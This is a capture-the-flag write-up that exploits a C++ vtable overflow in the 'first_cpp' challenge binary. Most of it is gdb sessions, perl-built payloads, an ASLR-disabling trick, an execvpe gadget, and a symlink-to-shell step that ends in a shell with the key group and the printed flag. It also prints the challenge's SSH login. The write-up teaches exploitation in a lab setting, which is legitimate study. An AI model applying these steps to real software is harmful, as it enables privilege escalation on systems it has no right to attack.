Category: pwnables
AED decided to use C++ to develop their internal tools.
However, they seem to make a mistake one of their new C++ programs.Exploit and get the key!
ssh username@a5.amalgamated.biz
Username: cpp1_1
Password: IwKheuEHvR1jYXmjIYz8bo8FFe1h8
Summary: tricky overflow class’ method and exec’ing symlinks
Let’s check, what is there:
cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp Usage: /opt/pctf/cpp1/first_cpp <name> <point> cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp "`perl -e 'print "A"x1024;'`" 123 Segmentation fault cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e 'print "A"x1024;'`" 123 ... Program received signal SIGSEGV, Segmentation fault. 0x080489b1 in ?? () (gdb) x/10i $eip 0x80489b1: mov (%eax),%eax 0x80489b3: mov (%eax),%edx 0x80489b5: movl $0x8049dc0,0x4(%esp) 0x80489bd: mov 0x8(%ebp),%eax 0x80489c0: mov %eax,(%esp) 0x80489c3: call *%edx (gdb) p/x $eax $1 = 0x41414141
Well, we see that some dword in our buffer is used as a pointer to pointer to pointer to a call address. Where can we store the second and the third pointers?
After some code analyzing, we can find this nice code:
... in main: sub_804896C((int)&v3, v2, argv[1]); void __cdecl sub_804896C(int a1, int argv2, int argv1) { char src; // [sp+26h] [bp-32h]@1 sprintf(&src, "Uploading... [%s]: %d pts\n", argv1, argv2); memcpy(s, &src, 0x32u); (**(void (__cdecl ***)(_DWORD, _DWORD))a1)(a1, s); sub_8048870(a1); } .bss:08049DC0 s
Wow, s
is in .bss so it has a constant address: 08049DC0. So, if we pass <ptr>, ptr will be situated at 08049DC0 + 14 = 08049DCE
. Ok, let’s put there pointer to next dword (08049DD2) and a dummy address and look what args are passed to it:
cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e 'print "\xd2\x9d\x04\x08" . "XXXX" . "\xce\x9d\x04\x08"x100;'`" 123 Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) x/4xw $esp 0xbff459ec: 0x080489c5 0x08049dce 0x08049dc0 0x00000032
0x080489c5
– ret addr0x08049dce
– first argument0x08049dc0
– second argument
Looks like 0x08049dce is a valid pointer. But the second one must be a valid pointer to array of pointers. Let’s check it:
(gdb) x/20xw 0x08049dc0 0x8049dc0: 0x6f6c7055 0x6e696461 0x2e2e2e67 0x9dd25b20
Oh, it’s not. Very luckily, I found an appropriate gadget at execvpe+65
:
(gdb) x/4i execvpe+65 0x401f6e71 <execvpe+65>: mov %ecx,0x8(%esp) 0x401f6e75 <execvpe+69>: mov 0x8(%ebp),%eax 0x401f6e78 <execvpe+72>: mov %eax,(%esp) 0x401f6e7b <execvpe+75>: call 0x401f6870 <execve> (gdb) p/x $ecx $1 = 0x0 (gdb) x/4xw $ebp 0xbfd17048: 0x08049dce 0x08049dce 0x08049dce 0x08049dce (gdb) x/20xw 0x08049dce 0x8049dce: 0x08049dd2 0x58585858 0x08049dce 0x08049dce 0x8049dde: 0x08049dce 0x08049dce 0x08049dce 0x08049dce 0x8049dee: 0x08049dce 0x00000000 0x00000000 0x00000000
So, execve will receive:
0x08049dce
– first argument0x08049dce
– second argument0
– third argumend (NULL)
And 0x08049dce is valid pointer to an array of pointers (because 0x58585858 will be replaced with execvpe+65). Ok, let’s create symlink and pwn it.
But before, let’s determine address of execvpe+65. I learnt a cool trick from zaphod: we can disable libc ASLR with this command:
cpp1_1@a5:~$ ulimit -s unlimited
Ok, now get the address:
cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e 'print "\xd2\x9d\x04\x08" . "XXXX" . "\xce\x9d\x04\x08"x100;'`" 123 ... (gdb) p/x &execvpe+65 $1 = 0x401f6e71
Replace XXXX with this address and look what is execving:
cpp1_1@a5:~$ strace /opt/pctf/cpp1/first_cpp "`perl -e 'print "\xd2\x9d\x04\x08" . "\x71\x6e\x1f\x40" . "\xce\x9d\x04\x08"x100;'`" 123
…
execve("\322\235\4\10qn\37@\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10", ["qn\37@\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10", "\211L$\10\213E\10\211\4$\350\360\371\377\377\213\203\320
...
Now, time to win!
cpp1_1@a5:~$ export PATH=".:$PATH" cpp1_1@a5:~$ cat >wrap.sh #!/bin/sh /bin/sh # trick to drop arguments cpp1_1@a5:~$ chmod +x wrap.sh cpp1_1@a5:~$ ln -s wrap.sh $'\322\235\4\10qn\37@\316\235\4\10\316 \235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316 \235\4\10' cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp "`perl -e 'print "\xd2\x9d\x04\x08" . "\x71\x6e\x1f\x40" . "\xce\x9d\x04\x08"x100;'`" 123 $ id uid=3000(cpp1_1) gid=3000(cpp1users) egid=3001(cpp1key) groups=3000(cpp1users) $ cat /opt/pctf/cpp1/key Virtual_function_is_Virtue
The flag: Virtual_function_is_Virtue